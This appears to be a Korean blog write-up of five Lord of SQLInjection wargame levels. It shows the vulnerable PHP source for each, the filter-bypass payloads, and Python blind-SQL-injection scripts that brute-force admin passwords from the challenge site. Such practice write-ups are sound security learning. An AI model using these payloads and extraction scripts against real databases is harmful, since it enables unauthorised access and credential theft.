1. skeleton
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
별 다른거 없이 GET방식으로 입력받은 pw 뒤에 and 1=0을 추가한 것 같다. 그럼 그냥 입력받은 pw마지막에 %23을 넣어줘서 뒤를 주석처리하면 그만이다.
?pw=' or id='admin' %23
해결했다
2. golem
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
두 번째 preg_match에서 or, and, substr(, = 을 필터링하는 것을 알 수 있다. orc에서 사용했던 파이썬 스크립트에서 필터링되는 것들을 변경하고 string을 이용하지않는대신 range로 바꿔 작성해봤다. 필터링으로 인해 바꾼 것들은 or -> || 와 substr( -> substring( 와 = -> like 이다.
import requests
length = 8
cookie = {'PHPSESSID':'kag5k98ipur0r6u4rcfo9grojk'}
pw = ""
for i in range(1,length + 1):
for j in range(32, 127):
host = f"https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
query = f"?pw='||ascii(substring(pw,{i},1)) like {j} %23"
url = host + query
r = requests.get(url = url, cookies = cookie)
if "Hello admin" in r.text:
pw += chr(j)
break
print("password : " + pw)
password : 77d6290b
위와 같이 얻었고
?pw=77d6290b
을 보내보니?
해결했다.
3. darkknight
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
이번 문제에서 추가된 필터링은 '(싱글쿼터), substr, ascii, = 이다. substr은 ord로 ascii은 mid로 우회할 수 있다. 우선 pw의 길이를 알기위해 등호대신 like를 사용하여 ?no=1 or length(pw) like 1 %23에서 1부분만 2,3,4,~8까지 넣어본 결과 8에서 Hello admin이 출력된 것을 보아 pw의 길이는 8임을 확인했다.
앞 문제들에서 작성해놨던 파이썬 스크립트에서 query부분만 변경했다. id 부분에서 \"admin\"을 사용해도 됐지만 다르게 연습해보기위해 hex값을 사용했고 substr -> ord 와 ascii -> mid로 바꾸어 파이썬 스크립트를 완성해서 돌렸고
import requests
length = 8
cookie = {'PHPSESSID':'8gbd72ismpp8q3jkjqni3tab3s'}
pw = ""
for i in range(1,length + 1):
for j in range(48, 123):
host = f"https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
query = f"?no=1 or id like 0x61646d696e and ord(mid(pw,{i},1)) like {j}"
url = host + query
r = requests.get(url = url, cookies = cookie)
if "Hello admin" in r.text:
pw += chr(j)
break
print("password : " + pw)
그 결과 password : 0b70ea1f 값을 획득하여 넣어보니
?pw=0b70ea1f
해결했다.
4. bugbear
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
이번 문제는 필터링이 좀 많다. 음 substr, ascii, =, or, and, 공백, like, 0x 정도이다. 윗 문제와 같이 pw를 찾는 문제이기에 pw의 길이부터 알아봤다. 공백이 필터링되어 있어 %20을 사용하지 못하니 %09로 사용했다. 또한 등호와 like모두 필터링되기에 instr을 사용하여 길이를 알아봤다. ?no=1%09||%09instr(length(pw),1)를 보냈고 1자리를 1,2,3~,8까지 입력해서 보냈더니 8에서 Hello admin이 출력됨을 보아 pw의 길이는 8임을 알 수 있었다.
이제 파이썬 스크립트를 작성해보자.
import requests
length = 8
cookie = {'PHPSESSID':'8gbd72ismpp8q3jkjqni3tab3s'}
pw = ""
for i in range(1,length + 1):
for j in range(48, 123):
host = f"https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
query = f"?no=1%09||%09instr(id,\"admin\")%09%26%26%09instr(hex(mid(pw,{i},1)),%09hex({j}))"
url = host + query
r = requests.get(url = url, cookies = cookie)
if "Hello admin" in r.text:
pw += chr(j)
break
print("password : " + pw)
이전 문제와 같이 그냥 hex와 mid만을 이용해도 되겠지만 like와 등호를 모두 필터링하여 알게 된 instr을 사용해보고 싶어서 instr을 사용하여 작성해보았다. 공백은 %09를 이용했고 instr의 사용은 위의 길이를 알아볼 때 방식과 같다. j에 값이 들어간 다음 hex({j})를 통해 hex값으로 나오지만 pw에 값을 넣을 때는 chr(j)로 받아 넣었다. 돌렸을 때 password : 52dc3991와 같이 나왔고
?pw=52dc3991
을 보내보니?
해결했다.
5. giant
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(strlen($_GET[shit])>1) exit("No Hack ~_~");
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result[1234]) solve("giant");
highlight_file(__FILE__);
?>
이번 문제는 preg_match함수로 \n, \r, \t를 필터링하는 것을 알 수 있다. strlen(GET[shit]>1)을 보아 shit에 하나 이상의 입력이 있어야한다. 여기서 \n은 다음줄로 변경(줄바꿈) \r 커서를 줄 맨 앞으로 이동이다. \t은 tap이다. 그래서 %09가 먹히지 않는다. 또한 %20필터링됨을 확인했다. 그래서 공백, tap을 우회할 수 있는 방법을 알아보니 %0b와 %0c를 알 수 있었다.
?shit=%0b
를 보내보니?
해결됐다. 나는 %0b를 사용했으나 %0c를 사용해도 해결된다. (%0b : vertical tab, %0c : form feed)
'Webhacking-Write-Up > LOS' 카테고리의 다른 글
[LoS] assassin, succubus (0) | 2023.01.15 |
---|---|
[LoS] wolfman, darkelf, orge, troll, campire (0) | 2023.01.14 |
[LoS] gremlin, cobolt, goblin, orc (0) | 2023.01.14 |